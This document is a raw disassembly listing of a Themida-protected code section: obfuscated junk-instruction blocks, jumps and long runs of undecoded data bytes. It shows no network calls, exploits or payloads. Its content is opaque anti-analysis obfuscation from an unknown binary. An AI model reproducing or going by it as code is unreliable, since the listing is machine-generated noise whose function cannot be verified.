dd 0B95137E9h, 4D6E7DBEh, 41E9CF31h
db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555CBF: ; CODE XREF: Themida_:00565024j
pop ebp
sub ebp, 0A7B3CB1h
push dword ptr [esp]
pop edi
push eax
jmp loc_564572
; ---------------------------------------------------------------------------
dd 1EEF815Fh, 890D0228h, 0C5295FF8h, 3EC58158h, 5E0B833Bh
dd 31242C33h, 2C33242Ch, 24248B24h, 6022E9h
db 0
; ---------------------------------------------------------------------------
loc_555CF5: ; CODE XREF: Themida_:0055AC51j
pop ebx
or ebx, 63E7317h
sub ebx, 4D8E62AAh
sub ebx, 0DB1B9A52h
jmp loc_553936
; ---------------------------------------------------------------------------
db 58h, 2Dh, 5Ch
dd 295C9133h, 5CB951F8h, 0E95C9133h, 8F6Bh, 8704C483h
dd 0EDE92404h, 5F000008h, 4C781h, 0D3E90000h, 83FFFFBFh
dd 148904ECh, 0D9CEE924h, 0DD290000h, 5968E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555D4A: ; CODE XREF: Themida_:0055FC33j
push edi
jmp loc_55F832
; ---------------------------------------------------------------------------
dword_555D50 dd 240C8B66h, 0FFD79FE9h, 535B66FFh, 9DA3E9h ; DATA XREF: Themida_:0054FD48o
db 0
; ---------------------------------------------------------------------------
loc_555D61: ; CODE XREF: Themida_:00554677j
mov edx, [esp]
push ebp
jmp loc_55AFE6
; ---------------------------------------------------------------------------
dw 0C068h
dd 5D77AA68h, 0B850DDF7h, 38427FDDh, 3507E8C1h, 1B181D79h
dd 0FFE7A0E9h, 5B6E68FFh, 3C890000h, 81E78924h, 4C7h, 4C78100h
dd 87000000h, 248B243Ch, 2C08324h, 8B240487h, 4CE92424h
dd 3100003Bh, 0ABE9241Ch, 56000023h, 4BEh, 2BF5E900h, 0C3810000h
dd 726C7443h, 5177C381h, 0BE5661E8h, 290B7B69h, 0FFEF18E9h
dd 5AF028FFh, 5166F000h, 8F73E9h, 4C48100h, 81000000h
dd 4C4h, 0B448E900h, 0C781FFFFh, 0D40E8324h, 34FFF831h
dd 78685F24h, 0E9000044h, 3DF3h
; ---------------------------------------------------------------------------
loc_555E0C: ; CODE XREF: Themida_:0055D0FBj
add eax, ecx
pop ecx
push ebp
mov ebp, 6ED133C7h
push edx
mov edx, 3AFF36DEh
sub edx, 0BB57C54Ch
xor ebp, edx
pop edx
jmp loc_55C7B4
; ---------------------------------------------------------------------------
loc_555E29: ; CODE XREF: Themida_:0055F613j
pop ebp
sub esi, 0FFFFFFFFh
or esi, 3A970902h
push esi
neg dword ptr [esp]
jmp loc_5563BB
; ---------------------------------------------------------------------------
byte_555E3F db 0FFh ; DATA XREF: Themida_:0054FE88o
dd 669D1C77h, 14D36659h, 0C8E99C24h
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555E4F: ; CODE XREF: Themida_:0055F665j
shl esi, 5
push eax
mov eax, 2AF30F65h
add eax, 3DF1696h
xor esi, eax
pop eax
dec esi
add esi, 7CA5A58Ah
push 2F1Ah
mov [esp], esi
pop edx
mov esi, [esp]
push 771Eh
jmp loc_558ACB
; ---------------------------------------------------------------------------
aZ4SB db '‡4$\é"b',0
align 2
dw 0D031h
dd 0E924148Bh, 4C03h, 2474FF57h, 2434FF04h, 4C4815Fh, 8F000000h
dd 895C2404h, 428F240Ch, 240C8B30h, 6104C483h, 6E7EE9h
dd 38576800h, 34890000h, 2BE95124h
db 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555EC3: ; CODE XREF: Themida_:0055BB85j
pop esp
jmp loc_55C97E
; ---------------------------------------------------------------------------
aXs3 db 'XéÂ3',0
db 0
; ---------------------------------------------------------------------------
loc_555ECF: ; CODE XREF: Themida_:0055C237j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
jmp loc_55A50F
; ---------------------------------------------------------------------------
db 0C0h
dd 506606EAh, 0E20079B4h, 0EBE95866h
db 96h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555EF7: ; CODE XREF: Themida_:005634E7j
pop ecx
jmp loc_558D26
; ---------------------------------------------------------------------------
db 58h, 33h, 1Ch
dd 241C3124h, 0E9241C33h, 3044h, 0BF243C89h, 4, 685FF901h
dd 0E68h, 68240489h, 7A8Fh, 0BB241C89h, 82004DAh, 2004DEB8h
dd 8BD83108h, 97E9241Ch, 8900007Eh, 0E952240Ch, 0FFFFECEDh
dd 0FA1707BBh, 7557E915h, 0C8000000h, 0EB9E9h
db 0
; ---------------------------------------------------------------------------
loc_555F55: ; CODE XREF: Themida_:00554618j
push ecx
push 4E16h
push esp
pop dword ptr [esp]
jmp loc_55E12A
; ---------------------------------------------------------------------------
loc_555F64: ; CODE XREF: Themida_:0055C7C6j
xchg edx, [esp]
pop esp
mov [esp], edx
mov edx, 0
sub edx, ebp
push edx
pop ebp
mov edx, [esp]
sub esp, 4
jmp loc_55BED7
; ---------------------------------------------------------------------------
db 89h
dd 0CA895FF9h, 8BE95159h, 89000088h, 8B682434h, 8900003Eh
dd 19BF243Ch, 31424C12h, 0FF04247Ch, 3C8B2434h, 4C48124h
dd 0E9000000h, 554Ch
; ---------------------------------------------------------------------------
loc_555FB0: ; CODE XREF: Themida_:00555B50j
pop esi
sub edx, 0D729FB46h
jmp loc_56266D
; ---------------------------------------------------------------------------
dd 8BF7295Ah, 0C4812434h, 4, 5053E9h, 24148B00h, 0E9E68956h
dd 7F73h, 84231235h, 17BE5651h, 8115CB0Bh, 5D1607C6h, 5EF00955h
dd 0BA52D0F7h, 40482716h, 0D987E9h, 0E94B5D00h, 791Ch
dd 0B4683E2Dh, 0A9B95151h, 0E9374C67h, 0A757h, 5C243487h
dd 0FF243489h, 8B042474h
db 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_565006
; ---------------------------------------------------------------------------
loc_556035: ; CODE XREF: Themida_:0055FDECj
push ecx
push 62A16F87h
pop ecx
add ecx, 4D445F5Dh
not ecx
jmp loc_55E36B
; ---------------------------------------------------------------------------
aI4SV db '‰4$é~V',0
dd 81E38900h, 4C3h, 1676E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55605E: ; CODE XREF: Themida_:00556C60j
sub eax, edi
jmp loc_550D36
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 0FF04C483h, 21E92434h
db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556073: ; CODE XREF: Themida_:005605BCj
sub bx, si
add bx, 32Ch
push di
mov di, 4087h
add bx, di
pop di
mov si, [esp]
push edi
push esp
pop edi
sub esp, 4
mov [esp], esi
jmp loc_551B6B
; ---------------------------------------------------------------------------
aVPwusT db 'V¾;pwué;’',0
align 2
loc_5560A6: ; CODE XREF: Themida_:00550A2Aj
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
and eax, ecx
jmp loc_55B2BB
; ---------------------------------------------------------------------------
loc_5560BC: ; CODE XREF: Themida_:00555C81j
add ebx, 422E23CFh
push edx
jmp loc_558061
; ---------------------------------------------------------------------------
dd 5B5985BBh, 23E38135h, 0F7542E3Eh, 6F381D3h, 0D1410C74h
dd 0BDEB81EBh, 0E9F8AFC7h, 2E9Eh, 0DAF7D187h, 0E981D187h
dd 26F87860h, 71A1F181h, 0F1815F18h, 23674E4h, 780EC181h
dd 0CB29EE8Fh, 81C32959h, 4057D2C3h, 6EB8174h, 817C2E41h
dd 4ECh, 242C8900h, 491068h, 24048900h, 6F5516B8h, 35E8D11Dh
dd 3BDD3E73h, 4401E9h, 388EBD00h, 0F581239Dh, 6AA8261Eh
dd 0BEAFE9h, 4C48300h, 8B241487h, 0F662424h, 9C2404B3h
dd 0FF9DBAE9h, 26C681FFh, 3108C808h, 0B9E95EF3h, 52000074h
dd 322C73B2h, 3204D028h, 0BB4EE95Ah, 0C15FFFFFh, 0EFD102EFh
dd 8104EFC1h, 3BCE65EFh, 5FFB0981h, 2024E381h, 55E94E54h
dd 81FFFFA5h, 5B9BB8F7h, 0FFFB0108h, 835F2434h, 0D90104C4h
dd 4E9835Bh, 0FFB055E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5561B1: ; CODE XREF: Themida_:0055DCFBj
push small 5215h
mov [esp], dx
push ax
pushf
jmp loc_54FF17
; ---------------------------------------------------------------------------
db 5Ch, 89h, 34h
dd 4EC8124h, 89000000h, 0D0B9240Ch, 0E97C6D7Ah, 56FEh
dd 8924248Bh, 34E92404h, 0E9FFFF9Dh, 0FFFF9D2Fh, 0CC045CB5h
dd 43B1E9h
db 0
; ---------------------------------------------------------------------------
loc_5561F1: ; CODE XREF: Themida_:005514D1j
mov [esp], eax
push edi
push ebp
jmp loc_55B00B
; ---------------------------------------------------------------------------
db 29h
dd 8DE95EF3h
db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556203: ; CODE XREF: Themida_:00551F7Aj
add edi, 661F4A1Dh
add edi, 49BD7C64h
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push edi
push esp
pop edi
add edi, 4
push ebp
jmp loc_5626F5
; ---------------------------------------------------------------------------
dw 0E089h
dd 405h, 1FD36800h, 0C890000h, 4EC8324h, 0BD242C89h, 4
dd 15DE989h, 240C8BC8h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5640A5
; ---------------------------------------------------------------------------
dword_556254 dd 9C241CF6h, 0FF9CBAE9h, 24048FFFh, 0E924248Bh, 0FFFFBD64h
; DATA XREF: Themida_:0054FC64o
; ---------------------------------------------------------------------------
loc_556268: ; CODE XREF: Themida_:0055F171j
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
sub edx, ebp
pop ebp
jmp loc_561CB3
; ---------------------------------------------------------------------------
loc_55627F: ; CODE XREF: Themida_:005591FDj
xor ebx, 28FE7541h
shr ebx, 3
sub ebx, 0F42E91Dh
add ebp, ebx
jmp loc_55770A
; ---------------------------------------------------------------------------
loc_556295: ; CODE XREF: Themida_:005634FFj
push edi
mov edi, 4
add ecx, edi
jmp loc_55D955
; ---------------------------------------------------------------------------
loc_5562A2: ; CODE XREF: Themida_:00563325j
xchg esi, [esp]
mov esp, [esp]
push 7B1Eh
mov [esp], esi
mov esi, esp
push edx
jmp loc_564BDC
; ---------------------------------------------------------------------------
loc_5562B8: ; CODE XREF: Themida_:00560930j
xor esi, 45017EA9h
add esi, 48DFC96h
push ebx
mov ebx, esi
jmp loc_55DF43
; ---------------------------------------------------------------------------
dd 6A52E381h, 0EB8159C5h, 4C0D7F98h, 0FFF046E9h, 0C895CFFh
dd 2B37B924h, 0C18120CDh, 139E7C21h, 0A754E981h, 0E950346Bh
dd 1A39h, 9C240420h, 8B70E9h, 4E95500h, 5900000Fh, 14FBE781h
dd 564733F3h, 1BEh, 8BF72900h, 15E92434h, 81000065h, 2C2h
dd 24143300h, 8710E9h, 0BD555E00h, 26947089h, 5378ED81h
dd 0E809C97Fh, 1F95355Dh, 1BE95D95h, 89FFFFDDh, 4C181E1h
dd 81000000h, 4C1h, 240C8700h, 24048F5Ch, 0F9D5E955h, 0EC83FFFFh
dd 0D1A0E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55636A: ; CODE XREF: Themida_:0055900Cj
mov ebx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_550B81
; ---------------------------------------------------------------------------
db 5Ch
dd 6804C483h, 34AAh, 0B6241489h, 0E9F300A8h, 7121h, 0FF2434FFh
dd 83582434h, 0C48104C4h, 4, 7D07BD55h, 0BAE92EE0h
db 7Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5563BB: ; CODE XREF: Themida_:00555E3Aj
pop esi
neg esi
add esi, 0C16CF665h
and eax, esi
push dword ptr [esp]
push dword ptr [esp]
jmp loc_562E89
; ---------------------------------------------------------------------------
loc_5563D1: ; CODE XREF: Themida_:0055AE3Dj
pop edi
dec edi
jmp loc_552733
; ---------------------------------------------------------------------------
dd 0AB39D2BBh, 0E9DD0145h, 0F81h, 499BC181h, 0D9F77513h
dd 6AA3C181h, 0E9814EB4h, 0DB50697h, 2DD7C181h, 0C801D94Bh
dd 0E9E95259h
db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556407: ; CODE XREF: Themida_:00560195j
inc ebp
sub ebp, 764B5E24h
or ebp, 45831B9Dh
or ebp, 0CC47858h
xor ebp, 3F8DDC4Ah
sub esi, ebp
pop ebp
pop ebx
jmp loc_554201
; ---------------------------------------------------------------------------
loc_556429: ; CODE XREF: Themida_:0055E215j
sub esp, 4
mov [esp], edi
mov edi, 5C036125h
or edi, 4FFE2E3Fh
xor edi, 77017Dh
jmp loc_55FEDB
; ---------------------------------------------------------------------------
db 58h, 55h, 0BDh
dd 4, 8CE9E801h, 5C000044h, 51243C89h, 0C17F8EB9h, 6EA1BF67h
dd 0CF3166E9h, 0A4EDE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55646A: ; CODE XREF: Themida_:0055BEDAj
mov ecx, esp
jmp loc_5532FC
; ---------------------------------------------------------------------------
db 81h, 6Ch, 24h
dd 6F1ECE04h, 0E2F0E958h, 0E95A0000h, 5FD6h
; ---------------------------------------------------------------------------
loc_556484: ; CODE XREF: Themida_:005632EAj
push eax
mov eax, 4
mov ecx, eax
mov eax, [esp]
add esp, 4
mov edx, ecx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
add edi, edx
pop edx
jmp loc_5654D2
; ---------------------------------------------------------------------------
dd 0C90519BBh, 5BDE8945h, 8106E6C1h, 5B2F4DF6h, 3EE8107h
dd 50173836h, 0FFFFFFB8h, 58C629FFh, 0B575E9h
db 0
; ---------------------------------------------------------------------------
loc_5564D1: ; CODE XREF: Themida_:0055FB61j
push edx
mov dl, 0D0h
mov ah, dl
pop edx
jmp loc_55D0E7
; ---------------------------------------------------------------------------
dword_5564DC dd 24048B66h, 8E95453h, 5600003Ch, 230EE9h, 2434FF00h
; DATA XREF: Themida_:0054FDF0o
dd 4C48159h, 56000000h, 0D17EE9h, 2434FF00h, 67CAE959h
dd 0C8B80000h, 2978BB5Fh, 86D5E9C3h, 0C8B0000h, 4C48324h
dd 2A6568h, 24348900h, 0F9BA5250h, 0C177B82Ah, 61E907E2h
dd 8300004Eh, 0CF8104C4h, 66566DDBh, 0FDFFBE56h, 0F731FFF6h
dd 0FFF244E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556545: ; CODE XREF: Themida_:00550571j
inc bh
jmp loc_55BE03
; ---------------------------------------------------------------------------
dd 0E906E3C0h, 209Eh, 4B951h, 0C8010000h, 0FFF0E3E9h, 4C481FFh
dd 50000000h, 2B8h, 58C20100h, 2474FF52h, 2434FF04h, 0E92434FFh
dd 0FFFFE5DFh
; ---------------------------------------------------------------------------
loc_556580: ; CODE XREF: Themida_:00563E96j
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_564559
; ---------------------------------------------------------------------------
loc_55658F: ; CODE XREF: Themida_:0055731Ej
add esi, eax
jmp loc_55AEEE
; ---------------------------------------------------------------------------
loc_556596: ; CODE XREF: Themida_:0055F494j
pop ecx
push edx
push esi
mov esi, 1C523C15h
jmp loc_564479
; ---------------------------------------------------------------------------
byte_5565A3 db 0FFh ; DATA XREF: Themida_:0054FD0Co
dd 0E9582434h, 0FFFFD71Bh
; ---------------------------------------------------------------------------
loc_5565AC: ; CODE XREF: Themida_:005617A5j
push ecx
mov ch, dh
mov ah, ch
jmp loc_55FD70
; ---------------------------------------------------------------------------
dw 1968h
dd 5A729262h, 0E2C1D2F7h, 85C28106h, 0E904EC05h, 2F75h
dd 0A691E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5565D2: ; CODE XREF: Themida_:0055AC26j
inc ebp
jmp loc_564FA4
; ---------------------------------------------------------------------------
loc_5565D8: ; CODE XREF: Themida_:0055AF9Bj
push ebx
jmp loc_5576B4
; ---------------------------------------------------------------------------
dw 0CDFEh
dd 8028F580h, 0EC003CEDh, 0DFE95966h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5565EF: ; CODE XREF: Themida_:0055C4BAj
add ecx, 0BE68A523h
and ebx, ecx
pop ecx
push esi
mov esi, 62E046E1h
push esi
jmp loc_55B282
; ---------------------------------------------------------------------------
aXhwh db 'XhWH',0
align 2
dw 0A2E9h
dd 66FFFFEFh, 0E924148Bh, 80B6h, 6824248Bh, 6F91h, 68243C89h
dd 610362CCh, 0FFC7815Fh, 0E9FFFFFFh, 0FFFFF7C2h, 0E9241489h
dd 0AC99h, 56242489h, 468h, 74015E00h, 0FF5E0424h, 348B2434h
dd 4C48124h, 52000000h, 0C281E289h, 4, 1704E9h
db 0
byte_556665 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FDA4o
dd 4A86824h, 1C890000h, 4EC8124h, 89000000h, 4832424h
dd 565B0424h, 0E16EE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556686: ; CODE XREF: Themida_:005642DBj
push 3883h
jmp loc_561FE5
; ---------------------------------------------------------------------------
dd 3034C581h, 0E95872E2h, 0FFFFD6BFh, 98240481h, 5F748448h
dd 0B964E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5566AA: ; CODE XREF: Themida_:0055A37Ej
push ebx
jmp loc_558942
; ---------------------------------------------------------------------------
loc_5566B0: ; CODE XREF: Themida_:0055D73Dj
push ecx
mov ecx, 1D955E16h
push edx
mov edx, 0D23AC0h
jmp loc_559A8C
; ---------------------------------------------------------------------------
db 89h, 0E0h, 53h
dd 4BBh, 79BD0500h, 0C5E90F9Ch, 56000077h, 0C34CB068h
dd 21E95E65h, 0B900007Ch, 54D22A98h, 159CF89h, 57505FFEh
dd 1E2C8ABFh, 9FCF8166h, 8122BA57h, 436627CFh, 7E7C116h
dd 0C107EFC1h, 0F78106EFh, 7C83DEB5h, 0E95FF889h, 0D5EEh
dd 5F2434FFh, 0E6C0E9h, 24043000h, 30240432h, 40E92404h
dd 83FFFFEBh, 48704E8h, 0AB8E924h, 7C2D0000h, 0C1790528h
dd 6804E8h, 0E9000000h, 6B35h, 7B90E981h, 0C1292457h, 7B90BD55h
dd 0E9012457h, 0FFF090E9h, 0E95058FFh, 0FFFFE888h
; ---------------------------------------------------------------------------
loc_556764: ; CODE XREF: Themida_:0055DDA1j
not ecx
xchg ecx, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], ecx
push esp
jmp loc_550330
; ---------------------------------------------------------------------------
dw 895Ch
dd 20B22414h, 9EEC80h, 0B75366D4h, 8EC4809Eh, 0EC80FC00h
dd 0FF5B668Eh, 0E95A2434h, 0AE84h
; ---------------------------------------------------------------------------
loc_5567A4: ; CODE XREF: Themida_:0055DB9Cj
add esp, 4
jmp loc_55413F
; ---------------------------------------------------------------------------
loc_5567AC: ; CODE XREF: Themida_:00561B98j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
pop dword ptr [esp]
jmp loc_55CD3A
; ---------------------------------------------------------------------------
dd 161DBA52h, 0C6E91E58h, 81FFFFA6h, 134776CAh, 0CCE95325h
dd 43FFFFE4h, 0CB62E9h
db 0
; ---------------------------------------------------------------------------
loc_5567DD: ; CODE XREF: Themida_:00561535j
push esp
pop ecx
jmp loc_558A0B
; ---------------------------------------------------------------------------
dd 6DCAF281h, 43E914D5h, 5100005Bh, 42474FFh, 24048F59h
dd 0E924248Bh, 4D8Bh
; ---------------------------------------------------------------------------
loc_556800: ; CODE XREF: Themida_:005594F4j
sub dh, 0CDh
xor bl, dh
pop edx
push dx
push eax
mov ah, 3Dh
mov dh, ah
pop eax
push cx
mov cl, 6Ch
and dh, cl
pop cx
jmp loc_5545F5
; ---------------------------------------------------------------------------
db 0BAh
dd 57097D09h, 42D2F74Ah, 0A33EC281h, 0D789A628h, 53DFF75Ah
dd 5B44F0BBh, 5BDF2146h, 40BEEF81h, 0EA810040h, 7D055417h
dd 0C281FA01h, 7D055417h, 2414875Fh, 0E924248Bh, 0FFFFFAA0h
dd 0C5E9C0FEh, 510000D9h, 0FFC417E9h, 0C1D587FFh, 0D5F708E5h
dd 1E17E9h, 0BA525E00h, 0
dd 0E2CEE9h, 242C8900h, 0FE74ABDh, 5DEF3167h, 595FFA01h
dd 0FFCE7CE9h, 2434FFFFh, 0E389535Eh, 9409E9h, 4B900h
dd 17E90000h, 2C0000D9h, 0C43AE932h, 815D0000h, 4C4h, 2C68300h
dd 0E9243487h, 0AF8h, 4C781h, 19E90000h, 890000D6h, 0BF575EF3h
dd 290379CEh, 3EF0BD55h, 0E5E91EBCh, 0FF0000D5h, 81582434h
dd 4C4h, 66536600h, 66241C87h, 8766D3F7h, 7DE9241Ch, 8900000Ah
dd 77BB241Ch, 4B171104h, 95A4F381h, 0D9318264h, 59CE015Bh
dd 4C681h, 62E90000h, 5DFFFFF5h, 24343358h, 33243431h
dd 4BE92434h, 660000D2h, 0E4E930FFh, 5BFFFF95h, 0EE80FE00h
dd 241C8BF9h, 0B886E950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556942: ; CODE XREF: Themida_:00562672j
sub esp, 4
mov [esp], eax
push edi
mov edi, 458B3349h
push edx
push edi
sub dword ptr [esp], 3C707730h
push dword ptr [esp]
pop edx
add esp, 4
add edx, 3C707730h
push edx
add dword ptr [esp], 29C756E7h
pop eax
sub eax, 29C756E7h
pop edx
pop edi
push edx
push esi
mov esi, 27F90A30h
push edx
mov edx, esp
jmp loc_56527B
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0EC28E956h, 5B5C0000h, 0C1DBE951h, 0F368FFFFh, 8900004Bh
dd 57512414h, 732FA8BFh, 58B0E95Eh, 6ABA0000h, 0E920232Fh
dd 610Bh, 81240C8Bh, 4C4h, 36EB8000h, 0C380C300h, 5AC38036h
dd 66C0B60Fh, 0E987048Fh, 0FFFF953Fh
; ---------------------------------------------------------------------------
loc_5569D8: ; CODE XREF: Themida_:00562B40j
or edx, 123726D4h
jmp loc_564107
; ---------------------------------------------------------------------------
loc_5569E3: ; CODE XREF: Themida_:005624F1j
add esp, 4
mov edi, ecx
jmp loc_55128D
; ---------------------------------------------------------------------------
loc_5569ED: ; CODE XREF: Themida_:0056079Ej
pop ebp
jmp loc_54FF20
; ---------------------------------------------------------------------------
byte_5569F3 db 0ACh ; DATA XREF: Themida_:0054FD40o
dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 3EE92434h
db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556A0B: ; CODE XREF: Themida_:0055F853j
add bl, al
sub bl, 0Ch
sub bl, 0D0h
push dword ptr [esp]
pop eax
add esp, 4
push small 79BEh
mov [esp], cx
mov ch, 16h
jmp loc_55F71C
; ---------------------------------------------------------------------------
loc_556A29: ; CODE XREF: Themida_:00559DD9j
shr edx, 4
push 56E6h
mov [esp], ebp
mov ebp, 12467F2Fh
sub ebp, 8DD7E9Dh
add edx, 24353050h
jmp loc_550361
; ---------------------------------------------------------------------------
dw 815Eh
dd 2419DCE6h, 0E9DEF723h, 0D35h, 8BF9315Eh, 0C481243Ch
dd 4, 591C4F21h, 0FF94AAE9h, 0B75B66FFh, 58C73057h, 0D7F6C7FEh
dd 0E955C780h, 8B59h, 39E9535Bh
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556A87: ; CODE XREF: Themida_:0055BF83j
add eax, 3428AE2Ah
xor ebx, eax
pop eax
mov esi, ebx
jmp loc_55A1F7
; ---------------------------------------------------------------------------
dw 2C89h
dd 0A0CAE924h, 895CFFFFh, 0B7532404h, 5BF8889Eh, 0FFFDABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556AAD: ; CODE XREF: Themida_:0055798Ej
sub esp, 4
mov [esp], esp
push edx
mov edx, 4
jmp loc_551104
; ---------------------------------------------------------------------------
loc_556AC1: ; CODE XREF: Themida_:0055087Ej
mov esi, 4
add edi, esi
pop esi
push ecx
mov ecx, 4
jmp loc_563D67
; ---------------------------------------------------------------------------
dd 0B8240489h, 556B6858h, 76C2E9h
db 0
; ---------------------------------------------------------------------------
loc_556AE1: ; CODE XREF: Themida_:00551C4Ej
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
add bx, 46CCh
jmp loc_5549FA
; ---------------------------------------------------------------------------
db 57h, 0E9h, 0E1h
dd 56FFFF94h, 0FFDECAE9h, 87BD55FFh, 0B8075221h, 1CBD5AC1h
dd 4DE9E829h
db 70h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556B1B: ; CODE XREF: Themida_:0055B7E1j
push ecx
jmp loc_558A82
; ---------------------------------------------------------------------------
db 52h, 0BAh, 63h
dd 0BD0D300Bh, 68101F18h, 69E9D501h, 0BDFFFF95h, 690E7F00h
dd 787143BFh, 0E9EF314Fh, 4634h, 4C481h, 2BB20000h, 0BA60E9h
dd 58E12800h, 0FFD456E9h, 0E9EE29FFh, 0FFFFFDBBh, 0E902E8C0h
dd 0FFFFAC6Ah, 4EA81h, 48E90000h
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556B73: ; CODE XREF: Themida_:00554342j
pop ecx
push ecx
mov ecx, 95659AFh
add ecx, 1
and ecx, 3F85009Fh
neg ecx
jmp loc_55E4BD
; ---------------------------------------------------------------------------
dw 5E54h
dd 4C681h, 89E90000h, 80000078h, 696810F3h, 89000072h
dd 50E92414h, 500000E1h, 0FFB7DCE9h, 241C89FFh, 0F3808EB3h
dd 8BDC080Bh, 0C481241Ch, 4, 0E999EC80h, 0B0BFh, 242D68h
dd 241C8900h, 516645B3h, 0FFC270E9h, 77095CFFh, 24348B1Ch
dd 0E904C483h, 0FFFFEC74h, 4ECAB951h, 0CD0113C4h, 241C8B59h
dd 5604C483h, 4D3650BEh, 5363683Ch, 34890000h, 2414F724h
dd 5124348Bh, 94A4E954h, 0E0890000h, 405h, 4C08300h, 5C240487h
dd 5084E581h, 0BE5676DAh, 54B65F0Eh, 6159CE81h, 0DEF77CC1h
dd 0FFD8FDE9h, 0E4F581FFh, 177207Dh, 242C8BEBh, 5504C483h
dd 0ED6521BDh, 81EDD15Bh, 7A54E5CDh, 0D274E972h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556C5A: ; CODE XREF: Themida_:005626E4j
push edi
mov edi, 4
jmp loc_55605E
; ---------------------------------------------------------------------------
loc_556C65: ; CODE XREF: Themida_:00561BBDj
push edx
mov edx, esp
push ebx
mov ebx, 4
add edx, ebx
jmp loc_562747
; ---------------------------------------------------------------------------
db 89h, 0E6h, 81h
dd 4C6h, 4EE8300h, 43FFE9h
db 0
; ---------------------------------------------------------------------------
loc_556C85: ; CODE XREF: Themida_:0055A89Ej
add dl, 53h
xor ch, dl
pop edx
xor ch, 9Dh
sub al, ch
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5531D8
; ---------------------------------------------------------------------------
db 81h
dd 4B7756E2h, 230E686Bh, 2C890000h, 246AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556CB2: ; CODE XREF: Themida_:0055F014j
add edx, ebp
pop ebp
add edx, 135631EFh
not edx
add edx, 24AC7F08h
push 421Ah
mov [esp], eax
mov eax, 549F0D1Bh
jmp loc_55A3D2
; ---------------------------------------------------------------------------
db 57h, 50h, 0E9h
dd 6317h
; ---------------------------------------------------------------------------
loc_556CDC: ; CODE XREF: Themida_:00559DBEj
mov ebx, ecx
pop ecx
not ebx
sub ebx, 47F605B8h
shl ebx, 8
not ebx
neg ebx
jmp loc_55CB35
; ---------------------------------------------------------------------------
db 81h
dd 10E9242Ch, 5582E49h, 2E4910E9h, 32D2355Bh, 0BB537DA3h
dd 40h, 23B7C381h, 0FB01267Bh, 80B6E9h
db 0
; ---------------------------------------------------------------------------
loc_556D19: ; CODE XREF: Themida_:005584ACj
add dword ptr [esp], 366265DAh
pop eax
sub eax, 366265DAh
mov edx, eax
push dword ptr [esp]
jmp loc_56356F
; ---------------------------------------------------------------------------
dd 8159CF89h, 5B554AC7h, 0F2EF8133h, 16D4068h, 0E8BA52D7h
dd 0C1676839h, 0D2F702EAh, 8893EA81h, 7E978E5h, 0BB0000E6h
dd 0CAD3253h, 0BFE95653h
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556D63: ; CODE XREF: Themida_:0055E9E7j
xchg edi, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
add [esp], al
pushf
jmp loc_54FF17
; ---------------------------------------------------------------------------
aLTSm db '‹$$Áâ',8,'é¬Ô',0
db 0
; ---------------------------------------------------------------------------
loc_556D83: ; CODE XREF: Themida_:0055E911j
push edi
mov edi, esp
push 2BE1h
jmp loc_55AE34
; ---------------------------------------------------------------------------
loc_556D90: ; CODE XREF: Themida_:00564C95j
xchg eax, [esp]
mov esp, [esp]
jmp loc_559011
; ---------------------------------------------------------------------------
db 68h
dd 76A7h, 51242C89h, 816DC5B9h, 923DBD32h, 0CD01CD7Eh
dd 0E5CCE959h, 1C8BFFFFh, 53E95024h, 59FFFFFEh, 2474FF56h
dd 48F5E04h, 24248B24h, 8B1C4721h, 1CE92404h
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556DD7: ; CODE XREF: Themida_:0055185Aj
mov [esp], edx
push dword ptr [esp]
pop eax
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov edx, [esp]
push ebp
push esp
pop ebp
